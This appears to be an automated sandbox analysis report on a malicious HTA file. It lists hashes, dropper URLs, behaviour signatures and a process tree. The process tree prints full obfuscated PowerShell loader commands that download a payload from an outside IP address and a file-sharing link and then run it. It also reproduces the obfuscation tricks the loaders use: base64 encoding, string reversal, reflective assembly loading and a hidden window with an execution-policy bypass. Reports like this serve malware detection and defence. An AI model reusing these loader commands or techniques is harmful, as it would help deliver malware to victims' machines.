Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 16:17

General

  • Target

    seethebestthignswhichgivingbestopportunities.hta

  • Size

    360KB

  • MD5

    35b8d63ead2eb58b7ed815be7bcbf97f

  • SHA1

    88ae189165c612cc11e3a83ce322363698e21daf

  • SHA256

    886699a7b1f864a18f767b1f3c95d860bced175c6e9bf2a5186119b698b5de23

  • SHA512

    047bfd03280a842c6527d4a0c41e2d593d3222d4617152febed39120184be179a36f99374c8bca7724b11dc78c8af202a14f63e7dfe87fefc53ffb510440fcde

  • SSDEEP

    192:436mm7epKXV0b8ECbC/lepKXV0b8LCbC/+UepKXV0b8GepKXV0b89CbC/yepKXVl:Y65Cb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthignswhichgivingbestopportunities.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\SysWOW64\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe
      "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2884
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ipdcj2ki.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE80F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE80E.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2932
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:824
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESE80F.tmp

    Filesize

    1KB

    MD5

    b2e2a3548fbeb43533c56d06c54c9bc6

    SHA1

    db69417444a80cc508269fff38100e1fb7119522

    SHA256

    d559ce0054d5c2d7c63675cf83fa3fdebccad5f6e1299894729f76c4fc71daa3

    SHA512

    41322fce51403117da74c01e3b1050f23b8f316b8e275732dcc0511ced0ae051ab993b08d4d74346b7159d340f4081a5139c4f035c322fc62cb81024a3a6f131

  • C:\Users\Admin\AppData\Local\Temp\ipdcj2ki.dll

    Filesize

    3KB

    MD5

    da02bdd2196988a610c9540180a91393

    SHA1

    66b1769346eff2d168cf53aecfc3cb1e87310e36

    SHA256

    1309a6c0092c14047d6d3ae12bd52b4e54b73cfef3b9b720de6ff74205c3b75f

    SHA512

    88e6788f04ea23e599a77cf4e6ca5b7d3e40f7268c863ae683082ebbd542d07d1cd86cffc26f6de02f2d6fa53eab20513b99fea1b5af1a520e605e35a9769f32

  • C:\Users\Admin\AppData\Local\Temp\ipdcj2ki.pdb

    Filesize

    7KB

    MD5

    cbbaedf9ecaf09e1c2300a255f60826e

    SHA1

    45e641f50df86a33960f2c4499ef49b5758f8043

    SHA256

    83110a25b4bc0ebda1fe90a98a91d1c52a2d0af160d580d4b20dd84ea34779d0

    SHA512

    47e90caf11190d64ec3192435484ed86a4f6eb4b86f21d00fd3cb3f70e7834da0fbb43fad1b48eb79da9148db13550966745280cafce9ad27dfffbb1be304bc9

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    b7a93468b23a95dd0241685b46c8980e

    SHA1

    19ee6c240a47e1e255dbb66bffca7c0c39d5f569

    SHA256

    a59d56e5fc7d48123aa43ec3583b25d7d62668096c8e6b917b3e658c476fe359

    SHA512

    8bfb07710e88a4195cb04114686630d092f72da950334c7e082436c5c9e3e1fa26341094b6b277e3b7566d9fa96e3d2a1d28511ec4f31397570cee8ab1ef4cb3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    dc45b63c9913e6e91e22d174ce66741b

    SHA1

    298d449e54c729f15248ba0bf0a4b8c1bef14aef

    SHA256

    425a68f9b75ac28136519a220bf6f008508db2e566a254fd25fa8d06098ef4ea

    SHA512

    5aaae3322c559b9750155e87932da50a525e278de47dd9700f48c3b72e908406264d86c5f42664d134b59c6be2f3c370c2515671bbfacba8780842fa149526fd

  • C:\Users\Admin\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS

    Filesize

    139KB

    MD5

    da5a2b2a39d7ab8b9f9adf8af69a5f61

    SHA1

    7588e7a25bf351ac5a16eca9b68686c7970e60e5

    SHA256

    99d85e0ab098efe5ff79ed0f26f5543be8d9dc316132a80ba72001cca355e89f

    SHA512

    d042e1ba33995ba500dd91218aaab47310b31aefa91862f744719ea659eb235080de25649e50aed2ece84c1aff78c25bee6b8dbe5c680affa925516f61f95d8a

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE80E.tmp

    Filesize

    652B

    MD5

    0f55f0ef0fee9571524e71ba07703503

    SHA1

    26965f1d53dc5b5dea3975f49b114b9aa4672b1f

    SHA256

    b6990922c96890696575a59a1e7c35d2749b5776567ff10b8f50fe094c3d7b4a

    SHA512

    68e944eb866d0430c23a5afad3909982cf8aa3dcabfc77a853e50acf36b64b3aa9559f9f05e55283967b381b56c60f0ae18e12ba45860be2bad50b694f53bbd1

  • \??\c:\Users\Admin\AppData\Local\Temp\ipdcj2ki.0.cs

    Filesize

    487B

    MD5

    920ec087c1649b37d3e112b3d5ceb653

    SHA1

    43582d6bd4f01b5585cde7dff378fa59d38e7f7f

    SHA256

    d0c9b5992704caa64bb5429349502ae370a05e995cfe05650ee7ecc4142e5baa

    SHA512

    c79f661748e9176f0f01d405530c4704c7aab611c2d614f537ea7a7778c846a98a6156dd1f35bbe5ab5644d9c582c1de6d859925040c7a78aa44d21c19ffc673

  • \??\c:\Users\Admin\AppData\Local\Temp\ipdcj2ki.cmdline

    Filesize

    309B

    MD5

    bf720659d2f5be12f1e2555b118e1957

    SHA1

    fce890de9e8dc686045a3f57b8905b5598b2b8cc

    SHA256

    719c94c96d46ff9dd56e165402b4f7c6f8e099062149f303dbc2f33810659511

    SHA512

    36cc8df6cc3ecad385005560bdbcd0edbdf75058289fff73d26d5fd641442e6b7922ac7a78d73e4f28b27cf6ad371675ca5eb0dcc1d98191ade096a64e81deb5